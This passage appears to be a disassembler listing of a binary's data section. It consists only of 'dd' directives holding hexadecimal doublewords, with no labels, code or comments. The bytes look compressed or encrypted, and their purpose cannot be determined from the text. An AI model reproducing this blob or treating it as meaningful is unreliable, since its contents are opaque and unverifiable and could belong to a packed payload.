		dd 5014807Fh, 0F7562900h, 2CB25CDEh, 4DF21DF4h,	0D11B0BBCh
		dd 0A330FC40h, 5917E18h, 5839E160h, 2FC0B07Fh, 29A73181h
		dd 0E29DE700h, 8B73AE5Ah, 9F3A170Dh, 7B6C0446h,	42894011h
		dd 17D963BAh, 0CCE299CEh, 0DB005ADCh, 0B972B26Ch, 479E4E5h
		dd 154D9882h, 70890DFh,	340BD62Fh, 6CE631ECh, 7B58C154h
		dd 0ACF7F1h, 2DA77193h,	5C491DF4h, 0E85C3F60h, 3B1FD040h
		dd 0F8EA0B0h, 0F4F05BBh, 0C03129C5h, 1AC07D04h,	5C6853Ch
		dd 66ED4B34h, 0B9779CD8h, 5E320F24h, 0E0516109h, 0EC15CE1Fh
		dd 0F622BCh, 0D30D360Fh, 74BB9BB6h, 3CD0A601h, 98BD3068h
		dd 40E0B0AEh, 604CC64h,	0B8030D00h, 0BFB0AB8Ch,	0F1E6054Fh
		dd 1343A59Dh, 7684B0E1h, 0EF29D316h, 110030B3h,	0F3C40F44h
		dd 0E4004E9Dh, 3D56D0B6h, 7298088h, 0AEDCE2ECh,	0BD7180EEh
		dd 4F000332h, 0EF93C0AAh, 515D7579h, 744CF449h,	39D20108h
		dd 47EADB2Ah, 0ECA02EEEh, 7F4D7193h, 0FE3B0B2Fh, 8C44820Bh
		dd 4AEDEB00h, 0D4DB9C74h, 0E35E0084h, 9134E616h, 0FD4B375Bh
		dd 96010C91h, 20209212h, 0FC85E4Eh, 494A231h, 1C105C0h
		dd 21158042h, 4CBCF7DEh, 177A135Ch, 908B64C8h, 4625128Ch
		dd 673C0B9Eh, 0F5B9EC68h, 4CA50100h, 0E1CC4237h, 471C25FBh
		dd 93228CE4h, 4C362496h, 28E59280h, 3A1C02A0h, 0CAC1B36Ah
		dd 0B22BD530h, 2F361DCh, 0F93CB187h, 74E20FD0h,	47809845h
		dd 52587BCDh, 9FBB09E2h, 70984F2Fh, 1100A353h, 5210A95Ch
		dd 439A2A7h, 0D7794B89h, 0B2408454h, 0C5809E7Ch, 621D3820h
		dd 3401F49h, 704F1E81h,	8C398621h, 0E1B16000h, 48D815D1h
		dd 8E5D00F8h, 0A988F19Bh, 909524ADh, 3FC9CCh, 13F98BD2h
		dd 0C0BEECE2h, 3301ABE0h, 8016D8DCh, 94401AEDh,	71F8A276h
		dd 844D07FDh, 70295ACFh, 4F92877Bh, 85BDCE24h, 0BFB7D601h
		dd 7457D0C4h, 1C68D3A0h, 5EB0006Ah, 9F3B0CE9h, 0E50E9A7Fh
		dd 2016E234h, 37F0F996h, 7018C00Eh, 920DE91h, 0D5055C05h
		dd 0FC80DA40h, 1DD94135h, 8A7D3022h, 0F3E68Eh, 6B5809B6h
		dd 7CE20DF8h, 0D645A300h, 869469B5h, 110C0236h,	9334164Ch
		dd 58D801C2h, 0F7C2761Eh, 0EF00F8E6h, 48D63B7Dh, 2A381CBCh
		dd 0DF79874Ah, 7AE0D05Ah, 42004D20h, 487B21F1h,	1B04BF5h
		dd 57947328h, 98646BFCh
		dd 3721CF08h, 0FFB000B2h, 0C1528996h, 0A807CDD7h, 0C65B26A0h
		dd 7DDDE0A0h, 3F7000A1h, 0D5DE1465h, 150E4A27h,	40771C2Dh
		dd 3D4DFEE5h, 487D3EDCh, 0E4C25860h, 0FF7493B1h, 3CE810C0h
		dd 0C7543F1h, 0CB770430h, 21C09309h, 7FF11488h,	0E88303A5h
		dd 0E137592h, 6115A000h, 5D6D4DB3h, 0EED80232h,	0AFDDD126h
		dd 5064C5C0h, 0BBA9C600h, 8166D416h, 49220EB8h,	70AC054Ah
		dd 0D0005B91h, 3E2AA8B1h, 0C6F22450h, 204F8E09h, 0B1383B0Bh
		dd 67D700B6h, 31B8F13h,	3A7B97DEh, 89003EECh, 0BBF3901h
		dd 0E9E47A3h, 9C37A0F0h, 6C21078Dh, 0ACC900ACh,	689D64Dh
		dd 0E4D402E2h, 0CB210D2Ah, 0A475A480h, 9E01AE09h, 3936DE56h
		dd 62E446D5h, 0A98A0013h, 3FD10B05h, 0AF002CCBh, 0B0295182h
		dd 0E4C7E5h, 6A137A14h,	981A6348h, 65C4B100h, 0C11C8781h
		dd 609D003Ch, 4C0FAA68h, 6725F0DCh, 1F3F569Fh, 0FE84DC7Bh
		dd 54B31E0Ch, 0C31F0918h, 0BD023FB2h, 1C6624h, 0B9985EA7h
		dd 0E779EA0Ah, 620810A4h, 0FE1300ABh, 579CB999h, 0B234A51Dh
		dd 92B418F0h, 30D56F07h, 0FF7A479Eh, 10BDC055h,	12606029h
		dd 0A9D63339h, 0D2EA06F1h, 992A5DCh, 53210C60h,	29A9AEh
		dd 0C635A013h, 0CE7D1CF3h, 0F812E620h, 0AD620064h, 5E9858C4h
		dd 830FD194h, 3F7F692Dh, 91937540h, 0FA05F94Dh,	9EC2034Eh
		dd 400D3361h, 0DE8056DAh, 0FB2298D8h, 0F370C907h, 0A850BA49h
		dd 3C4B4519h, 0CD0046ACh, 98FFB9E2h, 71001EB7h,	0C9C5AE5Bh
		dd 0FE4442Eh, 0D7C2AC62h, 1358FFA0h, 0DA308488h, 5A3F10A0h
		dd 0A1900EAh, 7A68592Fh, 0CFF0C83Eh, 0B903027Ch, 0F869072Eh
		dd 0CB183ED5h, 1A42710Ch, 0E4007921h, 83A7153Bh, 6678E6B6h
		dd 21350898h, 3B9C3800h, 8972A260h, 0CD0D0386h,	0D6304907h
		dd 97F25000h, 36A9F7C6h, 0B4BB0C02h, 42A9A19Ah,	49555F01h
		dd 73A61A04h, 0FA754BE4h, 50130726h, 418EE07Ah,	0E4A70C5Ah
		dd 0AE00D41Eh, 111BBAC2h, 70F2DDh, 0A91F056Ah, 0A5388FF7h
		dd 0E9523700h, 7FB678D3h, 0EAAE0EA2h, 0E040D4B0h, 3742EC9Dh
		dd 2688C3Bh, 5D2236D2h,	16BEE076h, 0CBF013ABh, 0D5770F9Fh
		dd 2EC81B80h, 2D037469h, 0FB05DEC7h, 2498F878h,	978400ABh
		dd 0C89155F9h, 30EC48ACh, 0B76C7F00h, 339DC4C3h, 7CB5004Eh
		dd 0D61AC201h, 450078BDh, 6038A28Dh, 9617DBh, 6B85CC9h
		dd 0AC34EA0Fh, 1DFED139h, 0A20008C3h, 7E5127ABh, 0BA4E48F6h
		dd 0A86A70Ch, 21C0C108h, 257E39F2h, 8C650053h, 1DE95880h
		dd 0C9005A2Dh, 614EAC36h, 71FBE438h, 99AB0EFCh,	780BF16h
		dd 480942FEh, 0DE061CFEh, 0E725CAD3h, 21476008h, 2A48D1E4h
		dd 0A78A27Ch, 5EF78D00h, 1DAE20A3h, 0EBAB3EC2h,	73988E0h
		dd 0A06F7D2Dh, 9E0B0038h, 61A8CD7h, 22B12A9Bh, 936108F3h
		dd 0D796E221h, 0DDDBC0h, 0BD4DFB74h, 1FF8D25Ch,	24B260C4h
		dd 8807501Ch, 0D79CC053h, 8B461A82h, 94EC887Bh,	97A1D707h
		dd 7E80BDA4h, 0A0295604h, 40C84988h, 1E3BA3C9h,	0BC36AABEh
		dd 3F1DEF46h, 524EC87Eh, 0C840D4C4h, 0E6847E47h, 0FEECA3Ah
		dd 9CF7BCF4h, 21859E4h,	7621760h, 0DBF39BAEh, 9C84F01Ah
		dd 0D43C895Dh, 7BE580F9h, 63ADAF9Fh, 48BC1F85h,	98D9CCB7h
		dd 4A59911h, 0F66A835Bh, 9E1B2E10h, 0CC4100D3h,	0B2BA3733h
		dd 0A14AE40Eh, 0BC07E08Fh, 4CCABF1Dh, 2962FB10h, 370031B7h
		dd 779216Ah, 8672FEC3h,	255250F5h, 0B700D00Ch, 61AA5BF0h
		dd 0E5DE3Ah, 604FD854h,	102AB4Bh, 59EE5000h, 1BAC95D6h
		dd 0C98E008Ch, 0A41348A5h, 5A000A64h, 9D16B4EDh, 3CD0F79Eh
		dd 61B8DB1Fh, 88648400h, 0C87792A0h, 0CBF47F00h, 574E62C3h
		dd 16D60023h, 0BAB20F1Ch, 7E00526Dh, 0AEB90429h, 7B813Ch
		dd 8905CD83h, 0C6FA2751h, 0E55FEE07h, 3D2FBF9h,	21908086h
		dd 0C28DF1h, 0D90F20Ah,	33117BAAh, 3DF61E00h, 2E8331E9h
		dd 0B00F005Bh, 34CCB32Ah, 0AD004216h, 0E098E846h, 0AFF468h
		dd 0F2CA6EA7h, 8B5709A2h, 0BB1FC800h, 7A014BC7h, 3646008Fh
		dd 20E10F7Bh, 260008AAh, 0C4DFAEF5h, 0E54DB1Dh,	7B4A5F6Ch
		dd 914200BDh, 0B4A28CA0h, 3E0FE17Ah, 411422B2h,	0DA2E3FB6h
		dd 132DE8h, 0FC7986A9h,	190E9B07h, 0C10E85FEh, 0E02605BDh
		dd 0B9C535BEh, 0A795039Fh, 403DBA07h, 76E1DAC3h, 0D9342004h
		dd 0CAEF48h, 51A2AD91h,	36DA4E3h, 88BB9006h, 2100C5B3h
		dd 5F9DD274h, 360BFFDh,	25239F8h, 35F03FBDh, 0E750661Dh
		dd 56006CBBh, 1FCD4359h, 0A2EC2CAh, 0A8A2D78Dh,	0DF1C0EE7h
		dd 7AED2E0h, 1AFE3B32h,	89199A00h, 4DEFB969h, 917700E6h
		dd 0E17B5B39h, 8F00FF81h, 0F9B38E54h, 0FE7555Eh, 247215C5h
		dd 4BAA2BA1h, 0E5C88006h, 2588EF1Bh, 65D50071h,	0A3E830DFh
		dd 73184F24h, 8021F167h, 4B013C95h, 5C000B3Eh, 0B617A626h
		dd 21043363h, 2DD1B31h,	0C9AC86AFh, 8ECFBB10h, 0B4A1A500h
		dd 0E3F05EECh, 0A875300h, 45E97F86h, 0F2C31CFEh, 4B7480DFh
		dd 389CE1AEh, 0C5007EF6h, 5F72516Bh, 24AE5F9h, 10FBD4BDh
		dd 40409F5Eh, 600AADBh,	112F754h, 9B0C99h, 8F2BC264h, 3FDD2D0Bh
		dd 1B24AC7Eh, 0A8006BE9h, 68691F49h, 98300C8h, 3D8BFE4Ch
		dd 4E00DD14h, 44F9B41Ch, 38C55B58h, 0C800C262h,	72DE8C3Bh
		dd 13000B11h, 0F9C31D0Dh, 0B3F6E6h, 0F7BD35B4h,	0FB95BB4Dh
		dd 0B244A207h, 0EBE04F38h, 4DB17FC2h, 6C2A2881h, 841BA084h
		dd 3CB80087h, 138CA495h, 2A00DB62h, 3F12F538h, 5096ECB2h
		dd 784A8h, 227E2E8Bh, 47099879h, 0F8A78900h, 0FCECD417h
		dd 7BA003Bh, 140B545Eh,	0D90373B9h, 4CE2CA04h, 0F58E06Dh
		dd 0D0AD2EB7h, 806C2400h, 0C253EAC5h, 0F3E03294h, 2A4828ECh
		dd 0AC5E002Fh, 5B45867Ch, 5FDD007Fh, 391512E0h,	6A00B59Fh
		dd 6F472980h, 3A895D3h,	0FF3BD7B7h, 0E7E0E354h,	2F032072h
		dd 0C12198D5h, 0B703D0CFh, 142C00ABh, 0A807C976h, 5000775Ch
		dd 0C44A51AEh, 8AA4A2h,	76975A65h, 6920C608h, 954243Fh
		dd 79B90h, 5F8B3550h, 11503E3h,	0E0EF95A5h, 0F74072E2h
		dd 4A9057C3h, 70239F03h, 0C09BB1C6h, 0CDCBBh, 3986F656h
		dd 6172B5F3h, 14ED4B24h, 50805A44h, 9A11BE2Bh, 7A3E898h
		dd 909A9B13h, 1C1A816Bh, 0A6302458h, 0A198F60Ch, 0F4F862h
		dd 59ED48Bh, 0F2B939E5h, 30433A02h, 0C0F9590Fh,	74379Ah
		dd 70AFFE13h, 0A6B43E04h, 35CE5313h, 5D95B003h,	0C7E2A059h
		dd 6EB21336h, 0B5B400E6h, 0C386F460h, 7B723A01h, 0B4D15465h
		dd 31644180h, 0DCC0399Eh, 3B00E7F8h, 0D2819521h, 0BFDB5Ah
		dd 26C71E5Bh, 4691B398h, 0A1EE6D03h, 0D29DA0F5h, 0AB68C890h
		dd 0D3E2396Ch, 400E8F13h, 5CC01528h, 0F30004CDh, 0DF769F24h
		dd 5C6DDh, 0D4A1C32h, 30AC8D49h, 7EBB551Ch, 1E01C864h
		dd 72971585h, 3EAA8C3h,	0EB65004Bh, 0D2D9E90Bh,	0B600F27Eh
		dd 5C21B23Ah, 0FB1081Ah, 65F142DAh, 0CD270CA0h,	4B01830Fh
		dd 3EA415A2h, 69C4F6C3h, 55090084h, 0D86F131Dh,	0B23059B4h
		dd 1807C1B0h, 0A61C00A2h, 0C24FDCDh, 760091F2h,	8CB7BE3Dh
		dd 0B84304E8h, 1AD90AEAh, 0C0AAF1h, 0E597B3FFh,	7D04C21Ch
		dd 6554477Fh, 84767890h, 6B61004Bh, 75AE40D1h, 7C000EA7h
		dd 0B842D359h, 219B6ACh, 9F092243h, 8E8721Fh, 0AF000663h
		dd 28A030A5h, 152C3EDCh, 100E1F13h, 5E1BB20h, 0A8472487h
		dd 0A433464Fh
		dd 4FAC26D1h, 98308C10h, 0C1E82929h, 2402182Eh,	0EB42C80h
		dd 7687F9F7h, 3231C0E4h, 679808C0h, 503BEE04h, 0AE806FEBh
		dd 0E24C4Bh, 0F595782Dh, 97626CACh, 0A0B0F00h, 4CEB804Ah
		dd 79B4E2F0h, 6C843EEEh, 6EBE9707h, 0CEC508h, 71AF340Ch
		dd 6A00FB1Bh, 0BA6C0DEFh, 30ED308h, 9829B763h, 5E2A2E6h
		dd 61F1EF40h, 0A50518FAh, 576A9955h, 23281380h,	2E7E5Bh
		dd 0DB59D92Ah, 0A3BDBF33h, 219B503h, 0D80948D4h, 0BE1227h
		dd 0CF517FD9h, 15A1556Bh, 0ADA90A12h, 255DC100h, 7E11DBh
		dd 0B14726E4h, 3A56CFCh, 609B5900h, 71EAF42Ah, 394C3C55h
		dd 0CE450h, 0E0CB8EBEh,	0BF52C705h, 9B611104h, 0DF807AD3h
		dd 0A953B36Ah, 32210AA0h, 0AE9FE0h, 50C3DD6Eh, 7A8BCD45h
		dd 0D7C56C00h, 0D3660905h, 0B4670084h, 0E01B830Ah, 40DD9D50h
		dd 85499698h, 91DD4CAAh, 0E9214A00h, 4D230646h,	2DB21300h
		dd 7B2F55F3h, 31996018h, 85D66FF7h, 9F9BEB0Eh, 0C9B9603Dh
		dd 1EBCADh, 994E536Ch, 0E40DA833h, 0C9408481h, 0FA2C2Eh
		dd 8C630178h, 7B30F4E7h, 0AF494D00h, 57A1486h, 0B22607B7h
		dd 0F6DD40Ah, 0AC99E743h, 2F1A1801h, 0C2123247h, 38D010EDh
		dd 8391CEADh, 0E80169DBh, 1451E63Eh, 2180B118h,	23AD8197h
		dd 33003625h, 363198Fh,	0BE13BAh, 627C3D6Dh, 0D0566A92h
		dd 0D3CA6900h, 0FA0F2361h, 7C83FA49h, 0FB28C002h, 2114FD46h
		dd 205F6E00h, 0F8FA0143h, 0BA3900A3h, 7D77EB03h, 0BF1C020Dh
		dd 2D468361h, 10FB6Ah, 56200807h, 0B7EB74EDh, 0E46520C1h
		dd 318F8FE1h, 0CDC063E3h, 29DA823Ah, 37836A0Fh,	27C07C6Bh
		dd 0BB350ACFh, 2BE60C59h, 0BF9873C6h, 0FAC2AC00h, 285CB214h
		dd 750300A7h, 82DF557h,	2EE2500Dh, 78C68C18h, 9B8431h
		dd 317EE7DAh, 0BA4E0B80h, 85ED1603h, 839F651Bh,	79AA14Ah
		dd 4F4530h, 39DE8AFDh, 0FFAD879Eh, 367E718h, 6231E1h, 15C1C8C6h
		dd 0B9660E07h, 0FFCBCC1Dh, 0DC250F40h, 0CAC4F052h, 5F04DA11h
		dd 1611A986h, 31470010h, 7708EAACh, 30002AF9h, 0C54818DAh
		dd 0FAA8B64Bh, 650A0621h, 298F2E47h, 111E542h, 278611C4h
		dd 0EBF2E108h, 88188108h, 9290D3B2h, 51A59D86h,	0B829CD60h
		dd 50BF69C6h, 34BD7Bh, 8F2F593h, 8530BD5Eh, 0FC394400h
		dd 638DFFCEh, 0DE03006Ch, 0C76DA427h, 2400EA83h, 70500B7Fh
		dd 0E01DE12Ah, 152600C6h, 789BF919h, 4300B463h,	2A75E29Ah
		dd 7AE128h, 8A12073Fh, 0C6E637BCh, 0AE3A3201h, 6D2A76ECh
		dd 11A21C4h, 225B998Fh,	0E41628CCh, 0D5001DABh,	0A906BC3Bh
		dd 42397Fh, 68AAC8EDh, 40178BA1h, 0C900477Dh, 73E2C55Ch
		dd 0B61CEDCh, 0FA041312h, 72E9B980h, 775B2C9h, 41DAF903h
		dd 0D892A68Eh, 0A69EDB4h, 67CFE4A2h, 1924D8h, 0B86B62FDh
		dd 0B000B32Ch, 2314F628h, 0F6B1539Ah, 60B7002Fh, 5748D3F5h
		dd 4700C8DAh, 2912A699h, 3087A7ADh, 1628BD46h, 0B112224Fh
		dd 0D9FBh, 0F18E8A2Dh, 0FCFA0018h, 0A002C0C4h, 6B763574h
		dd 0E5E05201h, 0FA4B0883h, 0F20B9A20h, 0B89E0CBAh, 0B0F93A3Dh
		dd 110092FCh, 330FD8Eh,	1DB65336h, 6A1D11Dh, 49C2D237h
		dd 4887000h, 402ECEFDh,	25BC00ECh, 1AA22D9Ah, 43004D32h
		dd 0F892863Ah, 780631h,	0D4E677F1h, 208C41CEh, 0AD300A00h
		dd 0F04A531Ch, 45B103A1h, 0DE99EE86h, 0EF670CB8h, 0CDBAC200h
		dd 0AE3C0394h, 3E260E88h, 0C0DE8496h, 8F1DFA5h,	0D200BF09h
		dd 596DA8EDh, 71106BDh,	4F62DACAh, 0C37E5071h, 0A8041D32h
		dd 0AE03499Bh, 0CC065CC0h, 2E3B0312h, 0F58E5D16h, 401C9B89h
		dd 780EC5A4h, 4D8B3216h, 0FAE9E00h, 9EB5F05h, 317593F2h
		dd 0DB35AB80h, 9600BFF6h, 798BEF39h, 0CAAF7Eh, 8AEE3E47h
		dd 81E87D52h, 0C62B700h, 2D40364Ch, 342004Fh, 0F5299E3h
		dd 9E3AECEFh, 37A507E2h, 899C66h, 2C033BD2h, 407E00BCh
		dd 3C6E18B4h, 3D003976h, 0BDA819AEh, 534C2Eh, 0D9621F57h
		dd 377341DDh, 0D8A63Bh,	67B5F1FAh, 19B99h, 7B7C7830h, 929720B7h
		dd 0E651B007h, 9AF00665h, 3AFB5Bh, 0AE6E9479h, 37D61911h
		dd 2C63FD0Ch, 77310E2h,	95DE53D4h, 0E1316123h, 0F4F0EDB1h
		dd 8470088Eh, 0F60EE3EEh, 0A3FC4F04h, 0F8D25F35h, 7E3C32BEh
		dd 0DF0F28B6h, 52271CACh, 8EE582C5h, 9A403A09h,	0F26089B7h
		dd 0C89FF084h, 0DED30015h, 0ED2C28E2h, 500EA1Fh, 6459E639h
		dd 12CB3778h, 1DE582h, 45DD7B70h, 9C004FD1h, 0FF5F218Eh
		dd 0B8783Bh, 3312839Eh,	5DBBFC44h, 0AB757E00h, 696B09D6h
		dd 0E698B9h, 0FF887F4Fh, 2B85AA27h, 0BC0BE428h,	0CA92C500h
		dd 2C072490h, 5897010Ch, 5AADE130h, 47AE84E8h, 0CC0986Ch
		dd 30D5FC3h, 54C17F83h,	19917365h, 0C2B740AEh, 2B00B46Dh
		dd 99642AC3h, 27541C8h,	0E39F6E55h, 5440DA84h, 6700A5E5h
		dd 0EB30BFB5h, 0F205F552h, 47C30022h, 0E2689614h, 913873FCh
		dd 71E380D9h, 0A24599FAh, 4830007Dh, 0EF4C2A0Fh, 60F59C41h
		dd 9100FD34h, 0F8E15AF7h, 33B18B0h, 0FA59FC92h,	1090B61Bh
		dd 4F0BF0DBh, 801DE3D3h, 1319C1ABh, 807847h, 0A4D855D2h
		dd 9EF56C2Eh, 0B993F900h, 302FAF90h, 0A50F0013h, 1CDA7733h
		dd 6E00F180h, 33AEF51h,	0EC56D346h, 3EE687h, 100B4AC8h
		dd 8A156CEBh, 47D65D00h, 0BA292B4Fh, 0C5731Eh, 0E7392C8Ch
		dd 3A6625E5h, 6832A900h, 0C63E50F8h, 1BBA030Eh,	0CCF63945h
		dd 52DAA480h, 9E005DF2h, 0B43C180Fh, 65E974h, 0BAB07156h
		dd 0DC0EC3E4h, 19682100h, 0AC3EFEE7h, 407D0050h, 27D99099h
		dd 400C7AFh, 6F807AE6h,	2D88CB8h, 0DB9141C6h, 4C41E1CFh
		dd 0F0E2C4FAh, 2464AC00h, 0C5C2E9D9h, 2EA524DFh, 9FEE01E8h
		dd 305A9B5Fh, 420E3178h, 0E027E8FEh, 5E662174h,	0BE813F9Fh
		dd 0CE38B330h, 0FF0017E5h, 9C5CED78h, 4986A4h, 26E48DE0h
		dd 0BBD2DA58h, 82DE9300h, 0C3FFCA2Ch, 0C99F055Bh, 0FF95E3ECh
		dd 0EFA54000h, 0A74305h, 6615F960h, 325184CBh, 11480F00h
		dd 44777ED5h, 291094Ah,	3981D24Ch, 0D0CDFD16h, 0F600CFB5h
		dd 5AC39DECh, 0CA1E9Eh,	0BE2E0E96h, 985FEA3Eh, 4F5B580Eh
		dd 0A28AC0E0h, 7F0F91D8h, 0A8630041h, 675D485Eh, 0E21C8522h
		dd 7480473Bh, 467BF115h, 0E52D0158h, 95E60591h,	0D41D6040h
		dd 0A1931800h, 75C2EA01h, 0D9E812h, 513DA980h, 46FF68CDh
		dd 0E35B8100h, 7E542CB4h, 0E9A0232h, 0D4EA0D30h, 6407E8E0h
		dd 0F8C03500h, 0E30C6319h, 1BB503F4h, 5FB179F7h, 0E5AB3F90h
		dd 64BB9900h, 308CB263h, 0A6900BAh, 0DDD4F216h,	8E006691h
		dd 2234CF58h, 777C25h, 8967EADFh, 0CA7D1E2Dh, 4200E17Eh
		dd 9BD25924h, 27BEA3h, 66B8E455h, 26F9A499h, 0B9A75A00h
		dd 0E5D6B371h, 34FF00EDh, 7FA803C5h, 0A100077Bh, 0B627D5ADh
		dd 4E098Ch, 0BB368454h,	19673362h, 2C3C5175h, 427200F5h
		dd 50D97A3Fh, 0B5A0001h, 0C8DD9D7Eh, 8E002DCEh,	0DC37B87Fh
		dd 5B20CC9h, 9C821C72h,	0AEA18067h, 0AA073036h,	5942A37Eh
		dd 2E14E740h, 96580079h, 0C58DFDF3h, 60073537h,	84159DE8h
		dd 0D8BFD0C0h, 0D4C7007Fh, 615EC10Bh, 0A00087BDh, 9B44A24Fh
		dd 0BE7711Fh, 50BE4011h, 6D323B00h, 8F00C7D9h, 0BA7419C4h
		dd 1818B1Fh, 417D4037h,	0C44AEE02h, 8D001CE3h, 5644A601h
		dd 0E732D6Bh, 146D07DBh, 6C89C081h, 5DA7E8DAh, 124C1900h
		dd 843477C7h, 0E30E1E8Dh, 0DD1D4013h, 0D4B9C609h, 7DA03F00h
		dd 0BE4B7375h, 55880090h, 57FA112Dh, 0AB004250h, 38171CEBh
		dd 7A4966BAh, 64360FA4h, 0A5E0C661h, 0BE0FB19Ch, 949F1400h
		dd 1559894Ch, 90C80082h, 12A2BA96h, 7090DAEBh, 0C149E900h
		dd 29995CA0h, 3ADF006Ah, 7C1FABECh, 0DE006525h,	0F0ADEA2Eh
		dd 71A255h, 0B25D7076h,	0B89F4636h, 62737700h, 1C2F31ADh
		dd 4B1300B7h, 7567DE7Fh, 0A4009DB1h, 976B28A8h,	98B59681h
		dd 9C8010Fh, 5A8CBCD0h,	32FBF4CDh, 8E1E4890h, 0AF490FFCh
		dd 0F06200DAh, 0E078577h, 2958501Ah, 0AB47FE20h, 2B004994h
		dd 80FF4B1Dh, 796E2h, 7C6AA940h, 55D49060h, 0B078943Ch
		dd 4D576028h, 2BA70099h, 0F6B883A5h, 0CE5081DBh, 0F17B8780h
		dd 77119500h, 63ADBE9Fh, 22E0BE6h, 7100037Bh, 69F0B1D8h
		dd 0A8176500h, 6C0919D6h, 6B3C0014h, 4D03CFF3h,	4239E3E1h
		dd 0C51583C4h, 476F8h, 56339F21h, 775DF687h, 0E1D1861Fh
		dd 0A5A70847h, 2C9A3B50h, 0FC0F00EBh, 3534F9FFh, 730CAF8Eh
		dd 6E155AE3h, 1DA8C5CBh, 6DD5C094h, 0E4EDDBAAh,	18904CC8h
		dd 28EDB200h, 0FF0BF8A5h, 0FD7D017Bh, 842E4056h, 80FEE583h
		dd 53746268h, 80D4C4B8h, 9708865Dh, 2851FBBBh, 688F607Ch
		dd 0E6219677h, 57C35200h, 0D3B2617h, 0EC9D1D61h, 4C64AEh
		dd 62C189BCh, 0CF039240h, 192B985Dh, 711CB00Eh,	1FF0051h
		dd 313BD07Bh, 34F4B467h, 3545B14h, 0FE0F00ACh, 6BE3DFB0h
		dd 6D9700F7h, 0BF2C70B1h, 0B900F467h, 5E8DAE0Ah, 0F9278A42h
		dd 17C04DF8h, 0E3BD945h, 0EFE0C143h, 4106B065h,	1323BC00h
		dd 678991C4h, 7D37655h,	0E69208E1h, 733B0B6h, 0EBE820D0h
		dd 6B04B492h, 7D1065D5h, 43E60CC0h, 0FB8D6h, 0D189CDDEh
		dd 19D58517h, 13014D4Ch, 0E400CF9Ch, 60541369h,	8ED30F8Fh
		dd 5100D0A0h, 55A6C8DFh, 586C7800h, 96609D56h, 0C0E70128h
		dd 0FF322491h, 92904CAAh, 53738102h, 82B8EA7Fh,	800DD185h
		dd 0C10AA9Ch, 69A0072h,	0B7779275h, 0DDEA1DF1h,	0CDF03B07h
		dd 48C02570h, 5AD918h, 0E2E5A741h, 67DC75B8h, 8540200h
		dd 8912C4F5h, 587600DAh, 17EE840h, 0F8009117h, 502C68E3h
		dd 26424B9Ch, 0EAC745Dh, 0C7A72ED0h, 49D6A097h,	0E498A0A1h
		dd 0AF46B801h, 5CDE1013h, 7BE4A031h, 98D30357h,	38710670h
		dd 0A4688CC0h, 15873000h, 457F8F1Ah, 57E307C7h,	7182C464h
		dd 8073DDCBh, 0EFFF2A60h, 0D80F07h, 0CD6032B2h,	0AB59D7E0h
		dd 71D3A001h, 2164A580h, 4EA5330h, 65A75055h, 29C890E0h
		dd 1400C341h, 2C4C30F4h, 48EB79FCh, 0D300B43Dh,	78CA1F75h
		dd 2E009DE4h, 5BE239D2h, 713B7601h, 1D29C7BEh, 864B34AAh
		dd 0B2004EEEh, 373BDF46h, 165B00Bh, 6B3F7813h, 404EBCE2h
		dd 2DCFC4ACh, 5CBDC000h, 143E45E0h, 1F817379h, 92D7D618h
		dd 219C0092h, 28E5A3A4h, 0CBB1BE60h, 166650DEh,	0DB786Fh
		dd 0FC40AD74h, 0FD0146AFh, 0BFC7E0C9h, 688E986Ch, 99C0C369h
		dd 0C675542Dh, 0B97E971Bh, 0D4A1C850h, 0DCAF009Eh, 0D5800CD1h
		dd 230CD82Ch, 8864C5A7h, 91A920CCh, 0FB78A100h,	34F57C6Bh
		dd 0B5333B1Fh, 605B13h,	811AF460h, 841627BBh, 344102B9h
		dd 0EE241FF3h, 0FAA0AEC0h, 0E8891C3Bh, 0A3D7CFD8h, 0D948B920h
		dd 0CB00975Dh, 0E985FA87h, 16F2821h, 0ACEFB68Ah, 30261149h
		dd 1A015594h, 0D9A6791Fh, 0D4D85F1Eh, 0F1340294h, 0EE7AEDB7h
		dd 4815AB40h, 6600C4E8h, 0AFC5081Eh, 5C29C05Dh,	31009BE7h
		dd 3FA55877h, 900019E6h, 53DA65F7h, 0ED2B357h, 23FC8211h
		dd 781A0C20h, 0DD05435Ch, 0FBBA9D6h, 0F61E78C0h, 929A0080h
		dd 0F0614A6Ah, 500051C7h, 5139521h, 0FA53C923h,	7B17DCCh
		dd 0A81649D3h, 6151100Ch, 113946D1h, 220F049Fh,	20823AE4h
		dd 1D78E0E9h, 98600064h, 3C1A162Ah, 10B2CB92h, 97E3F200h
		dd 45579D0Fh, 0EC7E004Eh, 5FC9185Eh, 8B20767h, 0EF02940Bh
		dd 0C20780A9h, 132B1A8h, 0EB6E6D48h, 20B4229Dh,	360E4314h
		dd 77DCDAA0h, 0EA046C06h, 95BD01E4h, 83B7F6C3h,	0F8F842D1h
		dd 216728E0h, 0D6E05378h, 0DEAFE103h, 90A3AE3Ch, 3DFCB13h
		dd 354F2F8Ch, 0C8985086h, 6A075A37h, 2EA93356h,	0B20AF350h
		dd 0D24E003Ah, 0D5FDE3Dh, 1A00267Dh, 3271DABDh,	22B769h
		dd 0BF96DF7Eh, 0F76E5004h, 36C69B02h, 60ACE1DEh, 12220938h
		dd 7E7849h, 8E7B11F8h, 0A401624Bh, 3FAAC5E4h, 9CE4E6FFh
		dd 69D607FDh, 0A0B1882Fh, 0BD4D1D67h, 8556E203h, 0A0B39302h
		dd 60EF46B5h, 0B7114015h, 4B00B0FDh, 80964D60h,	929637Fh
		dd 13E1A7C1h, 60CFEC87h, 9BA91499h, 6852DC00h, 0DA0F0E12h
		dd 0DD950EC9h, 1DA0891Bh, 0C8697651h, 0B5593B00h, 9CE8A70Dh
		dd 306E00C3h, 0E5A804A4h, 7A10CCF3h, 62002B88h,	919EBC61h
		dd 3301147Eh, 52E825D5h, 55E0F823h, 4F89034h, 87A659B4h
		dd 740880B2h, 5700B3B9h, 0F1DBD026h, 5D6E2E94h,	6102B0CBh
		dd 8B1AD94Ch, 0E9380C48h, 0A4B73B00h, 0D6BBCCAAh, 7A3A00BCh
		dd 0EDB64AC6h, 8605A74Bh, 59D54769h, 0B74268C0h, 52070031h
		dd 62B54F09h, 0C800FF6Ah, 901ADBCCh, 3BD53Ch, 26DF3ACDh
		dd 9D11D9A2h, 0D18CB200h, 24A6E7E2h, 372A0188h,	3CE0218h
		dd 1262EC0Ch, 95E58E09h, 4E780147h, 8744D83h, 0CB370742h
		dd 706BAFA8h, 72275F5Bh, 29D6A71Fh, 0EC308B40h,	0C77A93h
		dd 32E7BC14h, 0F887DF38h, 2C1B4300h, 48914C9Bh,	0E4F2C3h
		dd 0C1F5F244h, 0FB833272h, 28A4624Dh, 7F00B4FEh, 0A8DC2F4Dh
